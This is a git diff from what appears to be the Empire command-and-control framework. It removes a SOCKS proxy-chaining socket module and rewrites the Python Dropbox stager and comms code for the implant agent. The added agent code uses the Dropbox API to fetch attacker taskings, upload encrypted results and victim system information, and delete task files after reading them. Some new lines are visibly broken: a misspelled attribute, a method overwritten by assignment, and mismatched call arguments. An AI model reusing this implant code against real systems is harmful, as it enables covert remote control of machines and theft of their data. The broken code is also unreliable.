- "close",
- "connect",
- "getpeername",
- "makefile",
- "recv",
- "recv_into",
- ] # , 'send', 'sendall']
-
- def __getattribute__(self, name):
- if name.startswith("_socksocket__"):
- return object.__getattribute__(self, name)
- elif name in self.__override:
- return object.__getattribute__(self, name)
- else:
- return getattr(object.__getattribute__(self, "_socksocket__sock"), name)
-
- def __setattr__(self, name, value):
- if name.startswith("_socksocket__"):
- return object.__setattr__(self, name, value)
- else:
- return setattr(
- object.__getattribute__(self, "_socksocket__sock"), name, value
- )
-
- def __settimeout(self, timeout):
- try:
- self.__sock.settimeout(timeout)
- except:
- # Python 2.2 compatibility hacks.
- pass
-
- def __recvall(self, count):
- """__recvall(count) -> data
- Receive EXACTLY the number of bytes requested from the socket.
- Blocks until the required number of bytes have been received or a
- timeout occurs.
- """
- self.__sock.setblocking(1)
- self.__settimeout(DEFAULT_TIMEOUT)
-
- data = self.recv(count)
- while len(data) < count:
- d = self.recv(count - len(data))
- if d == "":
- raise GeneralProxyError((0, "connection closed unexpectedly"))
- data = data + d
- return data
-
- def close(self):
- if self.__makefile_refs < 1:
- self.__sock.close()
- else:
- self.__makefile_refs -= 1
-
- def makefile(self, mode="r", bufsize=-1):
- self.__makefile_refs += 1
- if PY2:
- return socket._fileobject(self, mode, bufsize, close=True)
- else:
- return socket.SocketIO(self, mode)
-
- def addproxy(
- self,
- proxytype=None,
- addr=None,
- port=None,
- rdns=True,
- username=None,
- password=None,
- certnames=None,
- ):
- """setproxy(proxytype, addr[, port[, rdns[, username[, password[, certnames]]]]])
- Sets the proxy to be used.
- proxytype - The type of the proxy to be used. Three types
- are supported: PROXY_TYPE_SOCKS4 (including socks4a),
- PROXY_TYPE_SOCKS5 and PROXY_TYPE_HTTP
- addr - The address of the server (IP or DNS).
- port - The port of the server. Defaults to 1080 for SOCKS
- servers and 8080 for HTTP proxy servers.
- rdns - Should DNS queries be preformed on the remote side
- (rather than the local side). The default is True.
- Note: This has no effect with SOCKS4 servers.
- username - Username to authenticate with to the server.
- The default is no authentication.
- password - Password to authenticate with to the server.
- Only relevant when username is also provided.
- """
- proxy = (proxytype, addr, port, rdns, username, password, certnames)
- if not self.__proxy:
- self.__proxy = []
- self.__proxy.append(proxy)
-
- def setproxy(self, *args, **kwargs):
- """setproxy(proxytype, addr[, port[, rdns[, username[, password[, certnames]]]]])
- (see addproxy)
- """
- self.__proxy = []
- self.addproxy(*args, **kwargs)
-
- def __negotiatesocks5(self, destaddr, destport, proxy):
- """__negotiatesocks5(self, destaddr, destport, proxy)
- Negotiates a connection through a SOCKS5 server.
- """
- # First we'll send the authentication packages we support.
- if (proxy[P_USER] != None) and (proxy[P_PASS] != None):
- # The username/password details were supplied to the
- # setproxy method so we support the USERNAME/PASSWORD
- # authentication (in addition to the standard none).
- self.sendall(struct.pack("BBBB", 0x05, 0x02, 0x00, 0x02))
- else:
- # No username/password were entered, therefore we
- # only support connections with no authentication.
- self.sendall(struct.pack("BBB", 0x05, 0x01, 0x00))
- # We'll receive the server's response to determine which
- # method was selected
- chosenauth = self.__recvall(2)
- if chosenauth[0:1] != chr(0x05).encode():
- self.close()
- raise GeneralProxyError((1, _generalerrors[1]))
- # Check the chosen authentication method
- if chosenauth[1:2] == chr(0x00).encode():
- # No authentication is required
- pass
- elif chosenauth[1:2] == chr(0x02).encode():
- # Okay, we need to perform a basic username/password
- # authentication.
- self.sendall(
- chr(0x01).encode()
- + chr(len(proxy[P_USER]))
- + proxy[P_USER]
- + chr(len(proxy[P_PASS]))
- + proxy[P_PASS]
- )
- authstat = self.__recvall(2)
- if authstat[0:1] != chr(0x01).encode():
- # Bad response
- self.close()
- raise GeneralProxyError((1, _generalerrors[1]))
- if authstat[1:2] != chr(0x00).encode():
- # Authentication failed
- self.close()
- raise Socks5AuthError((3, _socks5autherrors[3]))
- # Authentication succeeded
- else:
- # Reaching here is always bad
- self.close()
- if chosenauth[1] == chr(0xFF).encode():
- raise Socks5AuthError((2, _socks5autherrors[2]))
- else:
- raise GeneralProxyError((1, _generalerrors[1]))
- # Now we can request the actual connection
- req = struct.pack("BBB", 0x05, 0x01, 0x00)
- # If the given destination address is an IP address, we'll
- # use the IPv4 address request even if remote resolving was specified.
- try:
- ipaddr = socket.inet_aton(destaddr)
- if isinstance(ipaddr, str):
- ipaddr = ipaddr.encode("latin-1")
- req = req + chr(0x01).encode() + ipaddr
- except socket.error:
- # Well it's not an IP number, so it's probably a DNS name.
- if proxy[P_RDNS]:
- # Resolve remotely
- ipaddr = None
- req = req + (
- chr(0x03).encode() + chr(len(destaddr)).encode() + b(destaddr)
- )
- else:
- # Resolve locally
- ipaddr = socket.inet_aton(socket.gethostbyname(destaddr))
- if isinstance(ipaddr, str):
- ipaddr = ipaddr.encode("UTF-8")
- req = req + chr(0x01).encode() + ipaddr
- req = req + struct.pack(">H", destport)
- self.sendall(req)
- # Get the response
- resp = self.__recvall(4)
- if resp[0:1] != chr(0x05).encode():
- self.close()
- raise GeneralProxyError((1, _generalerrors[1]))
- elif resp[1:2] != chr(0x00).encode():
- # Connection failed
- self.close()
- if ord(resp[1:2]) <= 8:
- raise Socks5Error((ord(resp[1:2]), _socks5errors[ord(resp[1:2])]))
- else:
- raise Socks5Error((9, _socks5errors[9]))
- # Get the bound address/port
- elif resp[3:4] == chr(0x01).encode():
- boundaddr = self.__recvall(4)
- elif resp[3:4] == chr(0x03).encode():
- resp = resp + self.recv(1)
- boundaddr = self.__recvall(ord(resp[4:5]))
- else:
- self.close()
- raise GeneralProxyError((1, _generalerrors[1]))
- boundport = struct.unpack(">H", self.__recvall(2))[0]
- self.__proxysockname = (boundaddr, boundport)
- if ipaddr != None:
- self.__proxypeername = (socket.inet_ntoa(ipaddr), destport)
- else:
- self.__proxypeername = (destaddr, destport)
-
- def getproxysockname(self):
- """getsockname() -> address info
- Returns the bound IP address and port number at the proxy.
- """
- return self.__proxysockname
-
- def getproxypeername(self):
- """getproxypeername() -> address info
- Returns the IP and port number of the proxy.
- """
- return _orgsocket.getpeername(self)
-
- def getpeername(self):
- """getpeername() -> address info
- Returns the IP address and port number of the destination
- machine (note: getproxypeername returns the proxy)
- """
- return self.__proxypeername
-
- def __negotiatesocks4(self, destaddr, destport, proxy):
- """__negotiatesocks4(self, destaddr, destport, proxy)
- Negotiates a connection through a SOCKS4 server.
- """
- # Check if the destination address provided is an IP address
- rmtrslv = False
- try:
- ipaddr = socket.inet_aton(destaddr)
- except socket.error:
- # It's a DNS name. Check where it should be resolved.
- if proxy[P_RDNS]:
- ipaddr = struct.pack("BBBB", 0x00, 0x00, 0x00, 0x01)
- rmtrslv = True
- else:
- ipaddr = socket.inet_aton(socket.gethostbyname(destaddr))
- # Construct the request packet
- req = struct.pack(">BBH", 0x04, 0x01, destport) + ipaddr
- # The username parameter is considered userid for SOCKS4
- if proxy[P_USER] != None:
- req = req + proxy[P_USER]
- req = req + chr(0x00).encode()
- # DNS name if remote resolving is required
- # NOTE: This is actually an extension to the SOCKS4 protocol
- # called SOCKS4A and may not be supported in all cases.
- if rmtrslv:
- req = req + destaddr + chr(0x00).encode()
- self.sendall(req)
- # Get the response from the server
- resp = self.__recvall(8)
- if resp[0:1] != chr(0x00).encode():
- # Bad data
- self.close()
- raise GeneralProxyError((1, _generalerrors[1]))
- if resp[1:2] != chr(0x5A).encode():
- # Server returned an error
- self.close()
- if ord(resp[1:2]) in (91, 92, 93):
- self.close()
- raise Socks4Error((ord(resp[1:2]), _socks4errors[ord(resp[1:2]) - 90]))
- else:
- raise Socks4Error((94, _socks4errors[4]))
- # Get the bound address/port
- self.__proxysockname = (
- socket.inet_ntoa(resp[4:]),
- struct.unpack(">H", resp[2:4])[0],
- )
- if rmtrslv != None:
- self.__proxypeername = (socket.inet_ntoa(ipaddr), destport)
- else:
- self.__proxypeername = (destaddr, destport)
-
- def __getproxyauthheader(self, proxy):
- if proxy[P_USER] and proxy[P_PASS]:
- auth = proxy[P_USER] + ":" + proxy[P_PASS]
- return "Proxy-Authorization: Basic %s\r\n" % base64.b64encode(auth)
- else:
- return b""
-
- def __stop_http_negotiation(self):
- buf = self.__buffer
- host, port, proxy = self.__negotiating
- self.__buffer = self.__negotiating = None
- self.__override.remove("send")
- self.__override.remove("sendall")
- return (buf, host, port, proxy)
-
- def recv(self, count, flags=0):
- if self.__negotiating:
- # If the calling code tries to read before negotiating is done,
- # assume this is not HTTP, bail and attempt HTTP CONNECT.
- if DEBUG:
- DEBUG("*** Not HTTP, failing back to HTTP CONNECT.")
- buf, host, port, proxy = self.__stop_http_negotiation()
- self.__negotiatehttpconnect(host, port, proxy)
- self.__sock.sendall(buf)
- while True:
- try:
- return self.__sock.recv(count, flags)
- except SSL.SysCallError:
- return ""
- except SSL.WantReadError:
- pass
-
- def recv_into(self, buf, nbytes=0, flags=0):
- if self.__negotiating:
- # If the calling code tries to read before negotiating is done,
- # assume this is not HTTP, bail and attempt HTTP CONNECT.
- if DEBUG:
- DEBUG("*** Not HTTP, failing back to HTTP CONNECT.")
- buf, host, port, proxy = self.__stop_http_negotiation()
- self.__negotiatehttpconnect(host, port, proxy)
- self.__sock.sendall(buf)
- while True:
- try:
- return self.__sock.recv_into(buf, nbytes, flags)
- except SSL.SysCallError:
- return 0
- except SSL.WantReadError:
- pass
-
- def send(self, *args, **kwargs):
- if self.__negotiating:
- self.__buffer += args[0]
- self.__negotiatehttpproxy()
- else:
- return self.__sock.send(*args, **kwargs)
-
- def sendall(self, *args, **kwargs):
- if self.__negotiating:
- self.__buffer += args[0]
- self.__negotiatehttpproxy()
- else:
- return self.__sock.sendall(*args, **kwargs)
-
- def __negotiatehttp(self, destaddr, destport, proxy):
- """__negotiatehttpproxy(self, destaddr, destport, proxy)
- Negotiates a connection through an HTTP proxy server.
- """
- if destport in (21, 22, 23, 25, 109, 110, 143, 220, 443, 993, 995):
- # Go straight to HTTP CONNECT for anything related to e-mail,
- # SSH, telnet, FTP, SSL, ...
- self.__negotiatehttpconnect(destaddr, destport, proxy)
- else:
- if DEBUG:
- DEBUG("*** Transparent HTTP proxy mode...")
- self.__negotiating = (destaddr, destport, proxy)
- self.__override.extend(["send", "sendall"])
-
- def __negotiatehttpproxy(self):
- """__negotiatehttp(self, destaddr, destport, proxy)
- Negotiates an HTTP request through an HTTP proxy server.
- """
- buf = self.__buffer
- host, port, proxy = self.__negotiating
-
- # If our buffer is tiny, wait for data.
- if len(buf) <= 3:
- return
-
- # If not HTTP, fall back to HTTP CONNECT.
- if buf[0:3].lower() not in (
- b"get",
- b"pos",
- b"hea",
- b"put",
- b"del",
- b"opt",
- b"pro",
- ):
- if DEBUG:
- DEBUG("*** Not HTTP, failing back to HTTP CONNECT.")
- self.__stop_http_negotiation()
- self.__negotiatehttpconnect(host, port, proxy)
- self.__sock.sendall(buf)
- return
-
- # Have we got the end of the headers?
- if buf.find("\r\n\r\n".encode()) != -1:
- CRLF = b"\r\n"
- elif buf.find("\n\n".encode()) != -1:
- CRLF = b"\n"
- else:
- # Nope
- return
-
- # Remove our send/sendall hooks.
- self.__stop_http_negotiation()
-
- # Format the proxy request.
- host += ":%d" % port
- headers_socks = buf.split(CRLF)
- for hdr in headers_socks:
- if hdr.lower().startswith(b"host: "):
- host = hdr[6:]
- req = headers_socks[0].split(b" ", 1)
- # headers[0] = f'{req[0].decode("UTF-8")} http://{host.decode("UTF-8")}{req[1].decode("UTF-8")}'.encode('UTF-8')
- headers_raw = (
- req[0].decode("UTF-8")
- + " http://"
- + host.decode("UTF-8")
- + req[1].decode("UTF-8")
- )
- headers_socks[0] = headers_raw.encode("UTF-8")
- headers_socks[1] = self.__getproxyauthheader(proxy) + headers_socks[1]
-
- # Send it!
- if DEBUG:
- DEBUG("*** Proxy request:\n%s***" % CRLF.join(headers_socks))
- self.__sock.sendall(CRLF.join(headers_socks))
-
- def __negotiatehttpconnect(self, destaddr, destport, proxy):
- """__negotiatehttp(self, destaddr, destport, proxy)
- Negotiates an HTTP CONNECT through an HTTP proxy server.
- """
- # If we need to resolve locally, we do this now
- if not proxy[P_RDNS]:
- addr = socket.gethostbyname(destaddr)
- else:
- addr = destaddr
- self.__sock.sendall(
- (
- "CONNECT "
- + addr
- + ":"
- + str(destport)
- + " HTTP/1.1\r\n"
- + self.__getproxyauthheader(proxy).decode("UTF-8")
- + "Host: "
- + destaddr
- + "\r\n\r\n"
- ).encode()
- )
- # We read the response until we get "\r\n\r\n" or "\n\n"
- resp = self.__recvall(1)
- while resp.find("\r\n\r\n".encode()) == -1 and resp.find("\n\n".encode()) == -1:
- resp = resp + self.__recvall(1)
- # We just need the first line to check if the connection
- # was successful
- statusline = resp.splitlines()[0].split(" ".encode(), 2)
- if statusline[0] not in ("HTTP/1.0".encode(), "HTTP/1.1".encode()):
- self.close()
- raise GeneralProxyError((1, _generalerrors[1]))
- try:
- statuscode = int(statusline[1])
- except ValueError:
- self.close()
- raise GeneralProxyError((1, _generalerrors[1]))
- if statuscode != 200:
- self.close()
- raise HTTPError((statuscode, statusline[2]))
- self.__proxysockname = ("0.0.0.0", 0)
- self.__proxypeername = (addr, destport)
-
- def __get_ca_certs(self):
- return TLS_CA_CERTS
-
- def __negotiatessl(self, destaddr, destport, proxy, weak=False, anonymous=False):
- """__negotiatessl(self, destaddr, destport, proxy)
- Negotiates an SSL session.
- """
- want_hosts = ca_certs = self_cert = None
- if not weak and not anonymous:
- # This is normal, secure mode.
- self_cert = proxy[P_USER] or None
- ca_certs = proxy[P_CACERTS] or self.__get_ca_certs() or None
- want_hosts = proxy[P_CERTS] or [proxy[P_HOST]]
-
- try:
- ctx = MakeBestEffortSSLContext(weak=weak, anonymous=anonymous)
- if self_cert:
- ctx.use_certificate_chain_file(self_cert)
- ctx.use_privatekey_file(self_cert)
- if ca_certs and want_hosts:
- ctx.load_verify_locations(ca_certs)
-
- self.__sock.setblocking(1)
- self.__sock = SSL_Connect(
- ctx, self.__sock, connected=True, verify_names=want_hosts
- )
- except:
- if DEBUG:
- DEBUG(
- "*** SSL problem: %s/%s/%s"
- % (sys.exc_info(), self.__sock, want_hosts)
- )
- raise
-
- self.__encrypted = True
- if DEBUG:
- DEBUG("*** Wrapped %s:%s in %s" % (destaddr, destport, self.__sock))
-
- def __default_route(self, dest):
- route = _proxyroutes.get(str(dest).lower(), [])[:]
- if not route or route[0][P_TYPE] == PROXY_TYPE_DEFAULT:
- route[0:1] = _proxyroutes.get(DEFAULT_ROUTE, [])
- while route and route[0][P_TYPE] == PROXY_TYPE_DEFAULT:
- route.pop(0)
- return route
-
- def __do_connect(self, addrspec):
- if ":" in addrspec[0]:
- self.__sock = _orgsocket(
- socket.AF_INET6,
- self.__type,
- self.__proto,
- *self.__args,
- **self.__kwargs
- )
- self.__settimeout(DEFAULT_TIMEOUT)
- return self.__sock.connect(addrspec)
- else:
- try:
- self.__sock = _orgsocket(
- socket.AF_INET,
- self.__type,
- self.__proto,
- *self.__args,
- **self.__kwargs
- )
- self.__settimeout(DEFAULT_TIMEOUT)
- return self.__sock.connect(addrspec)
- except socket.gaierror:
- self.__sock = _orgsocket(
- socket.AF_INET6,
- self.__type,
- self.__proto,
- *self.__args,
- **self.__kwargs
- )
- self.__settimeout(DEFAULT_TIMEOUT)
- return self.__sock.connect(addrspec)
-
- def connect(self, destpair):
- """connect(self, despair)
- Connects to the specified destination through a chain of proxies.
- destpar - A tuple of the IP/DNS address and the port number.
- (identical to socket's connect).
- To select the proxy servers use setproxy() and chainproxy().
- """
- if DEBUG:
- DEBUG("*** Connect: %s / %s" % (destpair, self.__proxy))
- destpair = getattr(_thread_locals, "create_conn", destpair)
-
- # Do a minimal input check first
- if (
- (not type(destpair) in (list, tuple))
- or (len(destpair) < 2)
- or (type(destpair[0]) != type(""))
- or (type(destpair[1]) != int)
- ):
- raise GeneralProxyError((5, _generalerrors[5]))
-
- if self.__proxy:
- proxy_chain = self.__proxy
- default_dest = destpair[0]
- else:
- proxy_chain = self.__default_route(destpair[0])
- default_dest = DEFAULT_ROUTE
-
- for proxy in proxy_chain:
- if (proxy[P_TYPE] or PROXY_TYPE_NONE) not in PROXY_DEFAULTS:
- raise GeneralProxyError((4, _generalerrors[4]))
-
- chain = proxy_chain[:]
- chain.append([PROXY_TYPE_NONE, destpair[0], destpair[1]])
- if DEBUG:
- DEBUG("*** Chain: %s" % (chain,))
-
- first = True
- result = None
- while chain:
- proxy = chain.pop(0)
-
- if proxy[P_TYPE] == PROXY_TYPE_DEFAULT:
- chain[0:0] = self.__default_route(default_dest)
- if DEBUG:
- DEBUG("*** Chain: %s" % chain)
- continue
-
- if proxy[P_PORT] != None:
- portnum = proxy[P_PORT]
- else:
- portnum = PROXY_DEFAULTS[proxy[P_TYPE] or PROXY_TYPE_NONE]
-
- if first and proxy[P_HOST]:
- if DEBUG:
- DEBUG("*** Connect: %s:%s" % (proxy[P_HOST], portnum))
- result = self.__do_connect((proxy[P_HOST], portnum))
-
- if chain:
- nexthop = (chain[0][P_HOST] or "", int(chain[0][P_PORT] or 0))
-
- if proxy[P_TYPE] in PROXY_SSL_TYPES:
- if DEBUG:
- DEBUG("*** TLS/SSL Setup: %s" % (nexthop,))
- self.__negotiatessl(
- nexthop[0],
- nexthop[1],
- proxy,
- weak=(proxy[P_TYPE] == PROXY_TYPE_SSL_WEAK),
- anonymous=(proxy[P_TYPE] == PROXY_TYPE_SSL_ANON),
- )
-
- if proxy[P_TYPE] in PROXY_HTTPC_TYPES:
- if DEBUG:
- DEBUG("*** HTTP CONNECT: %s" % (nexthop,))
- self.__negotiatehttpconnect(nexthop[0], nexthop[1], proxy)
-
- elif proxy[P_TYPE] in PROXY_HTTP_TYPES:
- if len(chain) > 1:
- # Chaining requires HTTP CONNECT.
- if DEBUG:
- DEBUG("*** HTTP CONNECT: %s" % (nexthop,))
- self.__negotiatehttpconnect(nexthop[0], nexthop[1], proxy)
- else:
- # If we are last in the chain, do transparent magic.
- if DEBUG:
- DEBUG("*** HTTP PROXY: %s" % (nexthop,))
- self.__negotiatehttp(nexthop[0], nexthop[1], proxy)
-
- if proxy[P_TYPE] in PROXY_SOCKS5_TYPES:
- if DEBUG:
- DEBUG("*** SOCKS5: %s" % (nexthop,))
- self.__negotiatesocks5(nexthop[0], nexthop[1], proxy)
-
- elif proxy[P_TYPE] == PROXY_TYPE_SOCKS4:
- if DEBUG:
- DEBUG("*** SOCKS4: %s" % (nexthop,))
- self.__negotiatesocks4(nexthop[0], nexthop[1], proxy)
-
- elif proxy[P_TYPE] == PROXY_TYPE_NONE:
- if first and nexthop[0] and nexthop[1]:
- if DEBUG:
- DEBUG("*** Connect: %s:%s" % nexthop)
- result = self.__do_connect(nexthop)
- else:
- raise GeneralProxyError((4, _generalerrors[4]))
-
- first = False
-
- if DEBUG:
- DEBUG("*** Connected! (%s)" % result)
- return result
-
-
-def wrapmodule(module):
- """wrapmodule(module)
- Attempts to replace a module's socket library with a SOCKS socket.
- This will only work on modules that import socket directly into the
- namespace; most of the Python Standard Library falls into this category.
- """
- module.socket.socket = socksocket
- module.socket.create_connection = sockcreateconn
- if DEBUG:
- DEBUG("Wrapped: %s" % module.__name__)
-
-
-## Netcat-like proxy-chaining tools follow ##
-
-
-def netcat(s, i, o, keep_open=""):
- if hasattr(o, "buffer"):
- o = o.buffer
- try:
- in_fileno = i.fileno()
- isel = [s, i]
- obuf, sbuf, oselo, osels = [], [], [], []
- while isel:
- in_r, out_r, err_r = select.select(isel, oselo + osels, isel, 1000)
-
- # print 'In:%s Out:%s Err:%s' % (in_r, out_r, err_r)
- if s in in_r:
- obuf.append(s.recv(4096))
- oselo = [o]
- if len(obuf[-1]) == 0:
- if DEBUG:
- DEBUG("EOF(s, in)")
- isel.remove(s)
-
- if o in out_r:
- o.write(obuf[0])
- if len(obuf) == 1:
- if len(obuf[0]) == 0:
- if DEBUG:
- DEBUG("CLOSE(o)")
- o.close()
- if i in isel and "i" not in keep_open:
- isel.remove(i)
- i.close()
- else:
- o.flush()
- obuf, oselo = [], []
- else:
- obuf.pop(0)
-
- if i in in_r:
- sbuf.append(os.read(in_fileno, 4096))
- osels = [s]
- if len(sbuf[-1]) == 0:
- if DEBUG:
- DEBUG("EOF(i)")
- isel.remove(i)
-
- if s in out_r:
- s.send(sbuf[0])
- if len(sbuf) == 1:
- if len(sbuf[0]) == 0:
- if s in isel and "s" not in keep_open:
- if DEBUG:
- DEBUG("CLOSE(s)")
- isel.remove(s)
- s.close()
- else:
- if DEBUG:
- DEBUG("SHUTDOWN(s, WR)")
- s.shutdown(socket.SHUT_WR)
- sbuf, osels = [], []
- else:
- sbuf.pop(0)
-
- for data in sbuf:
- s.sendall(data)
- for data in obuf:
- o.write(data)
-
- except Exception:
- if DEBUG:
- DEBUG("Disconnected: %s" % (sys.exc_info(),))
-
- i.close()
- s.close()
- o.close()
-
-
-def __proxy_connect_netcat(hostname, port, chain, keep_open):
- try:
- s = socksocket(socket.AF_INET, socket.SOCK_STREAM)
- for proxy in chain:
- s.addproxy(*proxy)
- s.connect((hostname, port))
- except Exception:
- sys.stderr.write("Error: %s\n" % (sys.exc_info(),))
- return False
- netcat(s, sys.stdin, sys.stdout, keep_open)
- return True
-
-
-def __make_proxy_chain(args):
- chain = []
- for arg in args:
- chain.append(parseproxy(arg))
- return chain
-
-
-def DebugPrint(text):
- print(text)
diff --git a/empire/server/data/agent/stagers/dropbox/comms.py b/empire/server/data/agent/stagers/dropbox/comms.py
index b2e20b8e9..796c04ca3 100644
--- a/empire/server/data/agent/stagers/dropbox/comms.py
+++ b/empire/server/data/agent/stagers/dropbox/comms.py
@@ -1,83 +1,106 @@
-def send_message(packets=None):
- # Requests a tasking or posts data to a randomized tasking URI.
- # If packets == None, the agent GETs a tasking from the control server.
- # If packets != None, the agent encrypts the passed packets and
- # POSTs the data to the control server.
- global missedCheckins
- global headers
- taskingsFolder = "{{ taskings_folder }}"
- resultsFolder = "{{ results_folder }}"
- data = None
- requestUri = ""
- try:
- del headers["Content-Type"]
- except Exception:
- pass
-
- if packets:
- # aes_encrypt_then_hmac is in stager.py
- encData = aes_encrypt_then_hmac(key, packets)
- data = build_routing_packet(stagingKey, sessionID, meta=5, encData=encData)
- # check to see if there are any results already present
-
- headers["Dropbox-API-Arg"] = '{"path":"%s/%s.txt"}' % (resultsFolder, sessionID)
+import base64
+import random
+import sys
+import urllib
+import urllib.request
+
+class ExtendedPacketHandler(PacketHandler):
+ def __init__(self, agent, staging_key, session_id, headers, server, taskings_folder, results_folder, key=None):
+ super().__init__(agent=agent, staging_key=staging_key, session_id=session_id, key=key)
+ self.headers = headers
+ self.server = server
+ self.taskings_folder = taskings_folder
+ self.results_folder = results_folder
+
+ def send_message(self, packets=None):
+ # Requests a tasking or posts data to a randomized tasking URI.
+ # If packets == None, the agent GETs a tasking from the control server.
+ # If packets != None, the agent encrypts the passed packets and
+ # POSTs the data to the control server.
+ self.taskings_folder = "{{ taskings_folder }}"
+ self.results_folder = "{{ results_folder }}"
+ data = None
try:
- pkdata = post_message(
- "https://content.dropboxapi.com/2/files/download",
- data=None,
- headers=headers,
- )
+ del self.headers["Content-Type"]
except Exception:
- pkdata = None
-
- if pkdata and len(pkdata) > 0:
- data = pkdata + data
-
- headers["Content-Type"] = "application/octet-stream"
- requestUri = "https://content.dropboxapi.com/2/files/upload"
- else:
- headers["Dropbox-API-Arg"] = '{"path":"%s/%s.txt"}' % (
- taskingsFolder,
- sessionID,
- )
- requestUri = "https://content.dropboxapi.com/2/files/download"
-
- try:
- resultdata = post_message(requestUri, data, headers)
- if (resultdata and len(resultdata) > 0) and requestUri.endswith("download"):
- headers["Content-Type"] = "application/json"
- del headers["Dropbox-API-Arg"]
- datastring = '{"path":"%s/%s.txt"}' % (taskingsFolder, sessionID)
- nothing = post_message(
- "https://api.dropboxapi.com/2/files/delete_v2", datastring, headers
+ pass
+
+ if packets:
+ # aes_encrypt_then_hmac is in stager.py
+ enc_data = aes_encrypt_then_hmac(self.key, packets)
+ data = self.build_routing_packet(self.staging_key, self.session_id, meta=5, enc_data=enc_data)
+ # check to see if there are any results already present
+
+ self.headers["Dropbox-API-Arg"] = '{"path":"%s/%s.txt"}' % (self.results_folder, self.session_id)
+
+ try:
+ pkdata = self.post_message(
+ "https://content.dropboxapi.com/2/files/download",
+ data=None,
+ headers=self.headers,
+ )
+ except Exception:
+ pkdata = None
+
+ if pkdata and len(pkdata) > 0:
+ data = pkdata + data
+
+ self.headers["Content-Type"] = "application/octet-stream"
+ request_uri = "https://content.dropboxapi.com/2/files/upload"
+ else:
+ self.headers["Dropbox-API-Arg"] = '{"path":"%s/%s.txt"}' % (
+ self.taskings_folder,
+ self.session_id
)
+ request_uri = "https://content.dropboxapi.com/2/files/download"
- return ("200", resultdata)
+ try:
+ result_data = self.post_message(request_uri, data, self.headers)
+ if (result_data and len(result_data) > 0) and request_uri.endswith("download"):
+ self.headers["Content-Type"] = "application/json"
+ del self.headers["Dropbox-API-Arg"]
+ data_string = '{"path":"%s/%s.txt"}' % (self.askings_folder, self.session_id)
+ nothing = self.post_message(
+ "https://api.dropboxapi.com/2/files/delete_v2", data_string, self.headers
+ )
- except urllib.request.Request.HTTPError as HTTPError:
- # if the server is reached, but returns an error (like 404)
- return (HTTPError.code, "")
+ return ("200", result_data)
- except urllib.request.Request.URLError as URLerror:
- # if the server cannot be reached
- missedCheckins = missedCheckins + 1
- return (URLerror.reason, "")
+ except urllib.request.Request.HTTPError as HTTPError:
+ # if the server is reached, but returns an error (like 404)
+ return (HTTPError.code, "")
- return ("", "")
+ except urllib.request.Request.URLError as URLerror:
+ # if the server cannot be reached
+ self.missedCheckins = self.missedCheckins + 1
+ return (URLerror.reason, "")
+ return ("", "")
+
+ def post_message(self, uri, data=None):
+ try:
+ print("Sending request to:", uri)
+ print("Headers:", self.headers)
+ print("Data:", data)
-def post_message(uri, data):
- global headers
- req = urllib.request.Request(uri)
- for key, value in headers.items():
- req.add_header("%s" % (key), "%s" % (value))
+ req = urllib.request.Request(uri)
+ for key, value in self.headers.items():
+ req.add_header("%s" % (key), "%s" % (value))
- if data:
- req.add_data(data)
+ if data:
+ req.add_data = data
- o = urllib.request.build_opener()
- o.add_handler(urllib.request.ProxyHandler(urllib.request.getproxies()))
- urllib.request.install_opener(o)
+ proxy = urllib.request.ProxyHandler()
+ o = urllib.request.build_opener(proxy)
+ urllib.request.install_opener(o)
+ return urllib.request.urlopen(req).read()
- return urllib.request.urlopen(req).read()
+ except urllib.error.HTTPError as e:
+ print("HTTP Error:", e.code, e.reason)
+ print("Headers:", e.headers)
+ return None
+ except Exception as e:
+ print("Error:")
+ print(e)
+ return None
diff --git a/empire/server/data/agent/stagers/dropbox/dropbox.py b/empire/server/data/agent/stagers/dropbox/dropbox.py
index 00e99e5a8..992836d1b 100644
--- a/empire/server/data/agent/stagers/dropbox/dropbox.py
+++ b/empire/server/data/agent/stagers/dropbox/dropbox.py
@@ -1,4 +1,4 @@
-#!/usr/bin/env python
+#!/usr/bin/env python3
"""
This file is a Jinja2 template.
@@ -13,7 +13,6 @@
import random
import string
import time
-import urllib.request
{% include 'common/rc4.py' %}
{% include 'common/aes.py' %}
@@ -21,101 +20,106 @@
{% include 'common/get_sysinfo.py' %}
{% include 'dropbox/comms.py' %}
-# server configuration information
-stagingFolder = "{{ staging_folder }}"
-stagingKey = "{{ staging_key }}"
-profile = "{{ profile }}"
-pollInterval = int("{{ poll_interval }}")
-# note that this doesn't need the quotes (can just sub an int directly in) but
-# having the quotes lets you run tools like pylint without syntax errors
-t = "{{ api_token }}"
-
-# generate a randomized sessionID
-sessionID = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in xrange(8))
-
-parts = profile.split('|')
-taskURIs = parts[0].split(',')
-userAgent = parts[1]
-headersRaw = parts[2:]
-
-# global header dictionary
-# sessionID is set by stager.py
-# headers = {'User-Agent': userAgent, "Cookie": "SESSIONID=%s" % (sessionID)}
-headers = {'User-Agent': userAgent}
-
-# parse the headers into the global header dictionary
-for headerRaw in headersRaw:
- try:
- headerKey = headerRaw.split(":")[0]
- headerValue = headerRaw.split(":")[1]
- if headerKey.lower() == "cookie":
- headers['Cookie'] = "%s;%s" % (headers['Cookie'], headerValue)
- else:
- headers[headerKey] = headerValue
- except Exception:
- pass
-
-headers['Authorization'] = "Bearer %s" % (t)
-headers['Content-Type'] = "application/octet-stream"
-headers['Dropbox-API-Arg'] = "{\"path\":\"%s/%s_1.txt\"}" % (stagingFolder, sessionID)
-
-# stage 3 of negotiation -> client generates DH key, and POSTs HMAC(AESn(PUBc)) back to server
-clientPub = DiffieHellman()
-hmacData = aes_encrypt_then_hmac(stagingKey, str(clientPub.publicKey))
-
-# RC4 routing packet:
-# meta = STAGE1 (2)
-routingPacket = build_routing_packet(stagingKey=stagingKey, sessionID=sessionID, meta=2, encData=hmacData)
-
-try:
- # response = post_message(postURI, routingPacket+hmacData)
- response = post_message("https://content.dropboxapi.com/2/files/upload", routingPacket)
-except Exception:
- exit()
-
-#(urllib2.urlopen(urllib2.Request(uri, data, headers))).read()
-time.sleep(pollInterval * 2)
-try:
- del headers['Content-Type']
- headers['Dropbox-API-Arg'] = "{\"path\":\"%s/%s_2.txt\"}" % (stagingFolder, sessionID)
- raw = post_message("https://content.dropboxapi.com/2/files/download", data=None)
-except Exception:
- exit()
-# decrypt the server's public key and the server nonce
-packet = aes_decrypt_and_verify(stagingKey, raw)
-nonce = packet[0:16]
-serverPub = int(packet[16:])
-
-# calculate the shared secret
-clientPub.genKey(serverPub)
-key = clientPub.key
-
-# step 5 -> client POSTs HMAC(AESs([nonce+1]|sysinfo)
-hmacData = aes_encrypt_then_hmac(clientPub.key, get_sysinfo(nonce=str(int(nonce)+1)))
-
